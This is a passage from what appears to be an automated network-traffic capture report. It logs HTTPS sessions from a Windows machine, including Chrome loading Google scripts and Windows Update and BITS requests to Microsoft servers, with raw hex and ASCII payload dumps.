2024-10-29 03:52:16 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-29 03:52:16 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700265,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-29 03:52:16 UTC	16	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 0d 0a Data Ascii: globalThis.tru
2024-10-29 03:52:16 UTC	310	IN	Data Raw: 31 32 66 0d 0a 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 66 Data Ascii: 12fstedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"f
2024-10-29 03:52:16 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 29 5d 3b 5f 2e 61 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 6e 65 77 20 5f 2e 61 65 28 5f 2e 58 64 3f 5f 2e 58 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 66 65 2c 74 65 2c 65 65 2c 67 65 2c 6c 65 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 Data Ascii: 8000)];_.ae\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.be\u003dnew _.ae(_.Xd?_.Xd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar fe,te,ee,ge,le;_.ce\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(
2024-10-29 03:52:16 UTC	1378	IN	Data Raw: 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 Data Ascii: rray\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(_.Yc(a,b))};_.T\u003df

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	172.217.16.196	443	7904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:15 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:52:16 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 03:52:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 03:52:16 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-29 03:52:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GSnk19rV29POzmc&MD=Cg38VFH8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 03:52:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 48511909-4421-422e-bce4-c8367c3c4840 MS-RequestId: 14bf0cff-ad16-46ab-bbd2-0e42e9622309 MS-CV: WMnyA0P2nEuwrBj7.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 03:52:17 GMT Connection: close Content-Length: 24490
2024-10-29 03:52:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 03:52:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:19 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 03:52:19 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=118949 Date: Tue, 29 Oct 2024 03:52:19 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49750	216.58.206.46	443	7904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:19 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:52:20 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 28 Oct 2024 20:33:04 GMT Expires: Tue, 28 Oct 2025 20:33:04 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 26355 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 03:52:20 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
